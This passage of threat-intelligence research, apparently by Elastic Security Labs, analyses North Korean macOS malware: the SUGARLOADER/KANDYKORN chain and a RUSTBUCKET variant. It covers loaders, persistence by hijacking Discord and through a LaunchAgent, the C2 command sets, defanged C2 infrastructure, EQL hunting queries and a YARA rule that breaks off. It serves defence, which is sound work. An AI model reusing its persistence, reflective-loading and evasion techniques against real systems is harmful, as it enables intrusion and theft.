      size 0x0000000000000008
    offset 4572144
     align 2^3 (8)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0

__mod_init_func contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.

A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.

Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal shows 0 detections of this file, which suggests these defense evasions continue to be cost-effective.

Execution

The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.

SUGARLOADER checks for the existence of a configuration file at /Library/Caches/com.apple.safari.ck. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the .sld binary. In our sample, the C2 address was 23.254.226[.]90 over TCP port 443. We provide additional information about the C2 in the Network Infrastructure section below.

The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The com.apple.safari.ck file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.

struct MalwareConfig
{
  char computerId[8];
  _BYTE gap0[12];
  Url c2_urls[2];
  Hostname c2_ip_address[2];
  _BYTE proxy[200];
  int sleepInterval;
};

computerId is a randomly generated string identifying the victim’s computer.

A C2 server can either be identified with a fully qualified URL (c2_urls) or with an IP address and port (c2_ip_ddress). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. sleepInterval is the default sleeping interval for the malware between separate actions.

Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.

The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as reflective binary loading (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as NSCreateObjectFileImageFromMemory or NSLinkModule. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by slyd0g and hackd.

This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this has been observed previously in attacks conducted by the Lazarus Group.

SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named appname which we refer to as HLOADER which we took directly from the process code signature’s signing identifier.

Stage 3 loader Discord: HLOADER

HLOADER (2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, it has 0 detections on VirusTotal.

HLOADER was identified through the use of a macOS binary code-signing technique that has been previously linked to the DPRK’s Lazarus Group 3CX intrusion. In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on JOKERSPY.

Persistence

We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as execution flow hijacking. The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and .log payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.

The legitimate binary /Applications/Discord.app/Contents/MacOS/Discord was renamed to .lock, and replaced by HLOADER.

Below is the code signature information for HLOADER, which has a self-signed identifier structure consistent with other Lazarus Group samples.

Executable=Applications/Discord.app/Contents/MacOS/Discord
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
Format=bundle with Mach-O universal (x86_64 arm64)
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded

When executed, HLOADER performs the following operations:

• Renames itself from Discord to MacOS.tmp
• Renames the legitimate Discord binary from .lock to Discord
• Executes both Discord and .log using NSTask.launchAndReturnError
• Renames both files back to their initial names

The following process tree also visually depicts how persistence is obtained. The root node Discord is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.

As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.

Stage 4 Payload: KANDYKORN

KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.

Execution

KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from /Library/Caches/com.apple.safari.ck. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.

Command and control

Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.

Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.

Command 0xD1

Action: Exit command where the program gracefully exists.

Command 0xD2

Name: resp_basicinfo Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.

Command 0xD3

Name: resp_file_dir Action: Lists content of a directory and format the output similar to ls -al, including type, name, permissions, size, acl, path, and access time.

Command 0xD4

Name: resp_file_prop

Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.

Command 0xD5

Name: resp_file_upload

Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.

Command 0xD6

Name: resp_file_down

Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.

Command 0xD7

Name: resp_file_zipdown

Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern/tmp/tempXXXXXXX.

Command 0xD8

Name: resp_file_wipe Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.

Command 0xD9

Name: resp_proc_list

Action: Lists all running processes on the system along with their PID, UID and other information.

Command 0xDA

Name: resp_proc_kill

Action: Kills a process by specified PID.

Command 0xDB

Name: resp_cmd_send

Action: Executes a command on the system by using a pseudoterminal.

Command 0xDC

Name: resp_cmd_recv

Action: Reads the command output from the previous command resp_cmd_send.

Command 0xDD

Name: resp_cmd_create

Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the /dev/pts device.

Command 0xDE

Name: resp_cfg_get

Action: Sends the current configuration to the C2 from /Library/Caches/com.apple.safari.ck.

Command 0xDF

Name: resp_cfg_set

Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.

Command 0xE0

Name: resp_sleep

Action: Sleeps for a number of seconds.

Summary

KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.

Network protocol

All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.

Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.

When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.

On the client side, a random number is generated and sent to the C2, which replies with a nonce variable. The client then computes a challenge with the random number and the received nonce and sends the result back to the server. If the challenge is successful and the server accepts the connection, it replies with a constant such as 0x41C3372 which appears in the analyzed sample.

Once the connection is established, the client sends its ID and awaits commands from the server. Any subsequent data sent or received from here is serialized following a common schema used to serialize binary objects. First, the length of the content is sent, then the payload, followed by a return code which indicates if any error occurred.

Network infrastructure

During REF7001, the adversary was observed communicating with network infrastructure to collect various payloads and loaders for different stages of the intrusion.

As detailed in the Stage 1 section above, the link to the initial malware archive, Cross-Platform Bridges.zip, was provided in a direct message on a popular blockchain Discord server. This archive was hosted on a Google Drive (https://drive.google[.]com/file/d1KW5nQ8MZccug6Mp4QtKyWLT3HIZzHNIL2), but this was removed shortly after the archive was downloaded.

Throughout the analysis of the REF7001 intrusion, there were two C2 servers observed.

• tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC
• 23.254.226[.]90

tp-globa[.]xyz

The C2 domain tp-globa[.]xyz is used by FinderTools to download SUGARLOADER and is likely an attempt at typosquatting a legitimate foreign exchange market broker. We do not have any information to indicate that the legitimate company is involved in this intrusion. This typosquatted domain was likely chosen in an attempt to appear more legitimate to the victims of the intrusion.

tp-globa[.]xyz, as of this writing, resolves to an IP address (192.119.64[.]43) that has been observed distributing malware attributed to the DPRK’s Lazarus Group (1, 2, 3).

23.254.226[.]90

23.254.226[.]90 is the C2 IP used for the .sld file (SUGARLOADER malware). How this IP is used for C2 is highlighted in the stage 2 section above.

On October 14, 2023, 23.254.226[.]90 was used to register the subdomain, pesnam.publicvm[.]com. While we did not observe this domain in our intrusion, it is documented as hosting other malicious software.

Campaign intersections

tp-globa[.]xyz, has a TLS certificate with a Subject CN of bitscrunnch.linkpc[.]net. The domain bitscrunnch.linkpc[.]net has been attributed to other Lazarus Group intrusions.

As noted above, this is likely an attempt to typosquat a legitimate domain for a decentralized NFT data platform. We do not have any information to indicate that the legitimate company is involved in this intrusion.

…
Issuer: C = US, O = Let's Encrypt, CN = R3
Validity
Not Before: Sep 20 12:55:37 2023 GMT
Not After : Dec 19 12:55:36 2023 GMT
Subject: CN = bitscrunnch[.]linkpc[.]net
…

The bitscrunnch.linkpc[.]net’s TLS certificate is also used for other additional domains, all of which are registered to the same IP address reported above in the tp-globa[.]xyz section above, 192.119.64[.]43.

• jobintro.linkpc[.]net
• jobdescription.linkpc[.]net
• docsenddata.linkpc[.]net
• docsendinfo.linkpc[.]net
• datasend.linkpc[.]net
• exodus.linkpc[.]net
• bitscrunnch.run[.]place
• coupang-networks[.]pics

While LinkPC is a legitimate second-level domain and dynamic DNS service provider, it is well-documented that this specific service is used by threat actors for C2. In our published research into RUSTBUCKET, which is also attributed to the DPRK, we observed LinkPC being used for C2.

All registered domains, 48 as of this writing, for 192.119.64[.]43 are included in the observables bundle.

Finally, in late July 2023, there were reports on the Subreddits r/hacking, r/Malware, and r/pihole with URLs that matched the structure of tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC. The user on Reddit reported that a recruiter contacted them to solve a Python coding challenge as part of a job offer. The code challenge was to analyze Python code purported to be for an internet speed test. This aligns with the REF7001 victim’s reporting on being offered a Python coding challenge and the script name testSpeed.py detailed earlier in this research.

The domain reported on Reddit was group.pro-tokyo[.]top//OcRLY4xsFlN/vMZrXIWONw/6OyCZl89HS/fP7savDX6c/bfC which follows the same structure as the REF7001 URL (tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC):

• Two //’s after the TLD
• 5 subdirectories using an //11-characters/10-characters/10-characters/ structure
• The last 2 subdirectories were /fP7savDX6c/bfC

While we did not observe GitHub in our intrusion, the Redditors who reported this did observe GitHub profiles being used. They have all been deactivated.

Those accounts were:

• https://github[.]com/Prtof
• https://github[.]com/wokurks

Summary

The DPRK, via units like the LAZARUS GROUP, continues to target crypto-industry businesses with the goal of stealing cryptocurrency in order to circumvent international sanctions that hinder the growth of their economy and ambitions. In this intrusion, they targeted blockchain engineers active on a public chat server with a lure designed to speak to their skills and interests, with the underlying promise of financial gain.

The infection required interactivity from the victim that would still be expected had the lure been legitimate. Once executed, via a Python interpreter, the REF7001 execution flow went through 5 stages:

• Stage 0 (staging) - Main.py executes Watcher.py as an imported module. This script checks the Python version, prepares the local system directories, then downloads, executes, and cleans up the next stage.
• Stage 1 (generic droppers) - testSpeed.py and FinderTools are intermediate dropper Python scripts that download and execute SUGARLOADER.
• Stage 2 (SUGARLOADER) - .sld and .log are Mach-O executable payloads that establish C2, write the configuration file and reflectively load KANDYKORN.
• Stage 3 (HLOADER) - HLOADER/Discord(fake) is a simple loader used as a persistence mechanism masquerading as the legitimate Discord app for the loading of SUGARLOADER.
• Stage 4 (KANDYKORN) - The final reflectively loaded payload. KANDYKORN is a full-featured memory resident RAT with built-in capabilities to:
  • Conduct encrypted command and control
  • Conduct system enumeration
  • Upload and execute additional payloads
  • Compress and exfil data
  • Kill processes
  • Run arbitrary system commands through an interactive pseudoterminal

Elastic traced this campaign to April 2023 through the RC4 key used to encrypt the SUGARLOADER and KANDYKORN C2. This threat is still active and the tools and techniques are being continuously developed.

The Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for an, although cluttered, single diamond.

[Malware] and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Defense Evasion
• Discovery
• Collection
• Command and Control
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• User Execution: Malicious File
• Command and Scripting Interpreter: Python
• Command and Scripting Interpreter: Unix Shell
• Hijack Execution Flow
• Deobfuscate/Decode Files or Information
• Hide Artifacts: Hidden Files and Directories
• Indicator Removal: File Deletion
• Masquerading: Match Legitimate Name or Location
• Obfuscated Files or Information: Software Packing
• Reflective Code Loading
• File and Directory Discovery
• Process Discovery
• System Information Discovery
• Archive Collected Data: Archive via Custom Method
• Local Data Staging
• Application Layer Protocol: Web Protocols
• Fallback Channels
• Ingress Tool Transfer
• Exfiltration Over C2 Channel

Malware prevention capabilities

• MacOS.Trojan.SUGARLOADER
• MacOS.Trojan.HLOADER
• MacOS.Trojan.KANDYKORN

Malware detection capabilities

Hunting queries

The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.

The following EQL query can be used to identify when a hidden executable creates and then immediately deletes a file within a temporary directory:

sequence by process.entity_id, file.path with maxspan=30s
  [file where event.action == "modification" and process.name : ".*" and 
   file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]
  [file where event.action == "deletion" and process.name : ".*" and 
   file.path : ("/private/tmp/*", "/tmp/*", "/var/tmp/*")]

The following EQL query can be used to identify when a hidden file makes an outbound network connection followed by the immediate download of an executable file:

sequence by process.entity_id with maxspan=30s
[network where event.type == "start" and process.name : ".*"]
[file where event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")]

The following EQL query can be used to identify when a macOS application binary gets renamed to a hidden file name within the same directory:

file where event.action == "rename" and file.name : ".*" and 
 file.path : "/Applications/*/Contents/MacOS/*" and 
 file.Ext.original.path : "/Applications/*/Contents/MacOS/*" and 
 not startswith~(file.Ext.original.path,Effective_process.executable)

The following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:

sequence by process.entity_id with maxspan=30s
[process where event.type == "start" and event.action == "exec" and process.name : ".*" and process.args regex~ "[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}"]
[network where event.type == "start"]

The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:

any where 
 (
  (event.category : "file" and event.action != "deletion" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*") and 
   file.path : "/Users/Shared/*" and file.name : ".*" ) or 
  (event.category : "process" and event.action == "exec" and process.executable : "/Users/Shared/*" and 
   (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : ".*")
 )

The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:

sequence by process.entity_id with maxspan=30s
[process where event.type == "start" and event.action == "exec" and 
 process.args : "python*" and process.args : ("/Users/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and process.args : "http*" and 
 process.args_count <= 3 and 
 not process.name : ("curl", "wget")]
[network where event.type == "start"]

The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of "NSCreateObjectFileImageFromMemory-*":

file where event.type != "deletion" and 
file.name : "NSCreateObjectFileImageFromMemory-*"

The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the "NSCreateObjectFileImageFromMemory-*" file or a load with no dylib name provided:

any where ((event.action == "load" and not dll.path : "?*") or 
  (event.action == "load" and dll.name : "NSCreateObjectFileImageFromMemory*"))

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:

• MacOS.Trojan.SUGARLOADER
• MacOS.Trojan.HLOADER
• MacOS.Trojan.KANDYKORN

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs
• https://x.com/tiresearch1/status/1708141542261809360
• https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/
• Looks like a try to steel some data : r/Malware
• https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/
• Lazarus Group Goes 'Fileless'
• Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui
• macOS reflective code loading analysis · hackd

• The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.
• REF9135 actors are continually shifting their infrastructure to evade detection and response.
• The DPRK continues financially motivated attacks against cryptocurrency service providers.
• If you are running Elastic Defend, you are protected from REF9135

Preamble

The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by Jamf Threat Labs in April 2023.

This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.

The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).

This research will describe:

• REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider
• Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism
• How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting

RUSTBUCKET code analysis

Overview

Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.

Stage 1

During Stage 1, the process begins with the execution of an AppleScript utilizing the %2Fusr%2Fbin%2Fosascript command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string pd in the body of the HTTP request and cur1-agent as the User-Agent string which saves the Stage 2 binary to %2Fusers%2Fshared%2F.pd, (7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8).

Stage 2

The Stage 2 binary ( .pd ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the downAndExec function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0) and includes the string pw in the body of the HTTP request.

During execution, the malware utilizes specific macOS APIs for various operations. It begins with NSFileManager's temporaryDirectory function to obtain the current temporary folder, then generates a random UUID using NSUUID's UUID.init method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.

Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes NSTask to initiate its execution.

Stage 3

In Stage 3, the malware (9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.

The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:

• Computer name
• List of active processes
• Current timestamp
• Installation timestamp
• System boot time
• Status of all running processes within the system

The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0).

Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.

Command ID 0x31

This command directs the malware to self-terminate.

Command ID 0x30

This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of $TMPDIR%2F.\<8 random digits\>

Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.

The malware proceeds by granting execution permissions to the uploaded file using the chmod API.

After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server

The undetected version of RUSTBUCKET

Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.

As of the publication of this research, the newly discovered version of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.

Persistence

A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.

In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path %2FUsers%2F\<user\>%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist , and it copies the malware’s binary to the following path %2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update.

There are several elements of the plist file, using standard true%2Ffalse or string values:

• Label: The key "Label" specifies the name of the LaunchAgent, which in this case is com.apple.systemupdate. This expects a string value.
• RunAtLoad: This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.
• LaunchOnlyOnce: This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.
• KeepAlive: This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.
• ProgramArguments: The "ProgramArguments" key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at "%2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update" and provides the C2 URL "https:%2F%2Fwebhostwatto.work[.]gd" as an argument to the malware.

RUSTBUCKET and REF9135 analysis

Overview

The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the Lazarus Group. The 2016 Bangladesh Bank robbery stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.

As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the BBC World Service that is an unbelievable account of this event.

Networking infrastructure

The persistence mechanism identified previously calls out to https:%2F%2Fwebhostwatto.work[.]gd. Third-party research into this URL indicates that 12%2F89 VirusTotal vendors have identified it as malicious, and it exists within a community collection documenting the DangerousPassword phishing campaign.

VirusTotal last saw the domain pointing to 104.168.167[.]88. Which has been specifically identified in a Sekoia.io blog in May as part of BlueNorOff’s RUSTBUCKET campaign.

Further connecting webhostwatto.work[.]gd to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 ) with another domain, companydeck[.]online.

companydesk[.]online is included in the VirusTotal Graph (VirusTotal account required) for APT38, which is also known as DangerousPassword, BlueNorOff, etc.

DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.

Using the IP address (64.44.141[.]15) for our initial C2 domain, crypto.hondchain[.]com, we uncovered 3 additional C2 domains:

• starbucls[.]xyz
• jaicvc[.]com
• docsend.linkpc[.]net (dynamic DNS domain)

While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with webhostwatto.work[.]gd. The TLS fingerprint hash for starbucls[.]xyz ( 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a ) is the same fingerprint as jaicvc[.]com.

With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:

• All hosts were registered to 64.44.141[.]15
• starbucls[.]xyz and crypto.hondchain[.]com were observed being used by our malware samples
• starbucls[.]xyz and jaicvc[.]com shared a TLS fingerprint

Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:

• starbucls[.]xyz
• jaicvc[.]com
• crypto.hondchain[.]com
• 64.44.141[.]15

We have not observed docsend.linkpc[.]net being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).

Defense evasion

The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.

As outlined in the Stage 1 section, there is a specific User-Agent string ( cur1-agent ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).

It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), we were able to collect the Stage 3 binary.

Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (crypto.hondchain[.]com), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (starbucls[.]xyz). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.

Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is curl%2Fversion.number whereas the malware uses cur1-agent (using a 1 in place of the l in “curl”). Additionally, the “Firefox” string is all lowercase (mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)), unlike actual Firefox User-Agent strings which are camel-cased.

This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.

Victimology

The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial access
• Execution
• Defense evasion
• Discovery
• Lateral movement
• Command and control

Diamond model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Detection logic

Prevention

• MacOS.Trojan.RustBucket
• Persistence via Suspicious Launch Agent or Launch Daemon

Hunting queries

The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.

Suspicious Curl File Download via Osascript

process where process.parent.name : "osascript" and process.name : "curl" and process.args : "-o"

Suspicious URL as argument to Self-Signed Binary

process where event.type == "start" and event.action == "exec" and 
 process.code_signature.trusted == false and 
 process.code_signature.signing_id regex~ """[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}""" and 
 process.args : "http*" and process.args_count <= 3

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:

 rule MacOS_Trojan_RustBucket {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-26"
        last_modified = "2023-06-26"
        license = "Elastic License v2"
        os = "MacOS"
        arch = "x86"
        category_type = "Trojan"
        family = "RustBucket"
        threat_name = "MacOS.Trojan.RustBucket"
        reference_sample = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
        severity = 100

    strings:
        $user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
        $install_log = "/var/log/install.log"
        $timestamp = "%Y-%m-%d %H:%M:%S"
